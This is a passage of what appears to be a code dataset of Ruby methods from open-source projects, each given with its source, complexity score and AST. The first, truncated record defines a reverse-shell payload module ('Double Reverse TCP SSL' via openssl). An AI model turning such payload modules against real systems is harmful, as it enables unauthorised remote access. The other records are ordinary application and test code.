end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Double Reverse TCP SSL (openssl)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Creates an interactive shell through two inbound connections\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcpDoubleSSL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"openssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"OpenSSLPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the OpenSSL executable\"]},{\"type\":\"str\",\"children\":[\"openssl\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShellPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the shell to execute\"]},{\"type\":\"str\",\"children\":[\"sh\"]}]}]}]}]}]}]}","id":"71104747-f210-4a80-93a2-3add675bf36f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/access_matchers.rb","start_line":41,"raw_source":"def description_for(user, type)\n    if user.is_a?(User)\n      # User#inspect displays too much information for RSpec's descriptions\n      \"be #{type} for the specified user\"\n    else\n      \"be #{type} for #{user}\"\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"be \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" for the specified user\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"be \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"4763b72e-866a-43b2-8d01-bde0a074e3e9"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":376,"raw_source":"def block_call\n    expect :iter\n\n    if self[1].node_type == :lambda\n      s(:call, nil, :lambda).line(self.line)\n    else\n      self[1]\n    end\n  end","complexity_score":11.13,"ast_json":"{\"type\":\"def\",\"children\":[\"block_call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"iter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"node_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"lambda\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"lambda\"]}]},\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"2c1146f9-8a2b-4d66-be72-b7ebefae1486"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":825,"raw_source":"def parent_datacenter\n    ems_cluster.try(:parent_datacenter)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_datacenter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ems_cluster\"]},\"try\",{\"type\":\"sym\",\"children\":[\"parent_datacenter\"]}]}]}","id":"e34f7ef0-1b49-422c-9fee-df2758f97564"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/index_page_header_component.rb","start_line":40,"raw_source":"def page_title\n      if current_item.present?\n        current_item.title\n      else\n        I18n.t(:label_my_meetings)\n      end\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"page_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_item\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_item\"]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_my_meetings\"]}]}]}]}","id":"85f127a8-67b8-497f-8641-aaa780cef182"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/wikicloth_redos_patch.rb","start_line":78,"raw_source":"def render(opt={})\n      self.options = { :noedit => false, :locale => I18n.default_locale, :fast => true, :output => :html, :link_handler => self.link_handler,\n                       :params => self.params, :sections => self.sections }.merge(self.options).merge(opt)\n      self.options[:link_handler].params = options[:params]\n\n      I18n.locale = self.options[:locale]\n\n      data = self.sections.collect { |s| s.render(self.options) }.join\n\n      # This is the first patched line from:\n      # https://github.com/nricciar/wikicloth/pull/112/files#diff-eed3de11b953105f9181a6859d58f52af8912d28525fd2a289f8be184e66f531R69\n      data.gsub!(/<!--.*?-->/m,\"\")\n\n      data << \"\\n\" if data.last(1) != \"\\n\"\n      data << \"garbage\"\n\n      buffer = WikiBuffer.new(+'',options)\n\n      begin\n        if self.options[:fast]\n          until data.empty?\n            case data\n            when /\\A\\w+/\n              data = $'\n              @current_row += $&.length\n              buffer.add_word($&)\n            when /\\A[^\\w]+(\\w|)/m\n              data = $'\n              $&.each_char { |c| add_current_char(buffer,c) }\n            end\n          end\n        else\n          data.each_char { |c| add_current_char(buffer,c) }\n        end\n      rescue => err\n        debug_tree = buffer.buffers.collect { |b| b.debug }.join(\"-->\")\n        puts I18n.t(\"unknown error on line\", :line => @current_line, :row => @current_row, :tree => debug_tree)\n        raise err\n      end\n\n      buffer.eof()\n      buffer.send(\"to_#{self.options[:output]}\")\n    end","complexity_score":86.95,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noedit\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fast\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_handler\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"link_handler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sections\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sections\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"link_handler\"]}]},\"params=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sections\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]}]}]},\"join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<!--.*?-->\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"last\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"garbage\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WikiBuffer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fast\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\w+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"back_ref\",\"children\":[\"$'\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_row\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"back_ref\",\"children\":[\"$&\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"add_word\",{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[^\\\\w]+(\\\\w|)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"back_ref\",\"children\":[\"$'\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"back_ref\",\"children\":[\"$&\"]},\"each_char\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"add_current_char\",{\"type\":\"lvar\",\"children\":[\"buffer\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each_char\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"add_current_char\",{\"type\":\"lvar\",\"children\":[\"buffer\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"debug_tree\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"buffers\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"debug\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"-->\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"unknown error on line\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"ivar\",\"children\":[\"@current_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"row\"]},{\"type\":\"ivar\",\"children\":[\"@current_row\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tree\"]},{\"type\":\"lvar\",\"children\":[\"debug_tree\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"eof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"to_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]}]}]}]}]}","id":"66460ac0-1359-4ff3-ae21-0c55c9fbdf24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/diffs_metadata_entity.rb","start_line":49,"raw_source":"def project_path\n    request.project&.full_path\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"project\"]},\"full_path\"]}]}","id":"0237007b-2c2d-459f-be8b-fbea437a019a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/user_interface.rb","start_line":275,"raw_source":"def resolve_user_namespace\n      return object.namespace if object.namespace&.organization_id == context[:current_organization].id\n\n      nil\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_user_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"namespace\"]},\"organization_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_organization\"]}]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"namespace\"]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8bb3e5c3-ddbc-4642-b23d-418783cfe03f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/profiles_controller.rb","start_line":60,"raw_source":"def profile_params\n    params.require(:profile).permit(\n      :email,\n      :name,\n      :display_name,\n      :avatar,\n      :message_signature,\n      :account_id,\n      ui_settings: {}\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"profile\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"display_name\"]},{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\":\"sym\",\"children\":[\"message_signature\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ui_settings\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"1d7edb06-2a0d-4065-bda7-c3dbd6dfbc93"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/merge_requests/drafts_controller_spec.rb","start_line":41,"raw_source":"def create_draft_note(draft_overrides: {}, overrides: {})\n      post_params = params.merge({\n        draft_note: {\n          note: 'This is a unpublished comment'\n        }.merge(draft_overrides)\n      }.merge(overrides))\n\n      post :create, params: post_params\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_draft_note\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"draft_overrides\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"draft_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"str\",\"children\":[\"This is a unpublished comment\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"draft_overrides\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"post_params\"]}]}]}]}]}]}","id":"b2a9380d-03d1-47c9-a532-17c358e88412"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/attachments.rb","start_line":48,"raw_source":"def delete_all_resized_images\n    @resized_images&.each(&:close!)\n    @resized_images = []\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_all_resized_images\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resized_images\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"close!\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@resized_images\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"c09783e0-5b56-4b40-93e0-472e4c4964e0"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":539,"raw_source":"def test_generator_if_skip_active_job_is_given\n    run_generator [destination_root, \"--skip-active-job\"]\n    assert_no_file \"app/jobs/application_job.rb\"\n    assert_file \"config/environments/production.rb\" do |content|\n      assert_no_match(/config\\.active_job/, content)\n    end\n    assert_file \"config/application.rb\" do |content|\n      assert_match(/#\\s+require\\s+[\"']active_job\\/railtie[\"']/, content)\n      assert_match(/#\\s+require\\s+[\"']active_storage\\/engine[\"']/, content)\n      assert_match(/#\\s+require\\s+[\"']action_mailer\\/railtie[\"']/, content)\n    end\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generator_if_skip_active_job_is_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-active-job\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/jobs/application_job.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/environments/production.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"config\\\\.active_job\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/application.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s+require\\\\s+[\\\"']active_job/railtie[\\\"']\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s+require\\\\s+[\\\"']active_storage/engine[\\\"']\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s+require\\\\s+[\\\"']action_mailer/railtie[\\\"']\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"3d4a03e6-3686-478a-90a7-35b2f95a5709"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/paths.rb","start_line":101,"raw_source":"def load_paths\n        filter_by(&:load_path?)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"filter_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_path?\"]}]}]}]}","id":"45408ebd-24f3-4414-bdd1-804eabff0e15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/protected_branch.rb","start_line":74,"raw_source":"def remove_via_api!\n        Support::Retrier.retry_until(max_duration: 60, sleep_interval: 1, message: \"Waiting for branch #{branch_name} to be protected\") do\n          # We confirm it exists before removal because there's no creation event when the default branch is automatically protected by GitLab itself, and there's a slight delay between creating the repo and protecting the default branch\n          exists?\n        end\n\n        super\n      end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_via_api!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},{\"type\":\"str\",\"children\":[\" to be protected\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"exists?\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"993df3f4-b7b4-41d2-852f-25c7a1553d45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/rapid_diffs/viewers/no_preview_component.rb","start_line":108,"raw_source":"def paths\n        {\n          old_path: @diff_file.old_path,\n          new_path: @diff_file.new_path\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"old_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"new_path\"]}]}]}]}","id":"e0df1a39-6280-4344-9927-440296330bcb"}
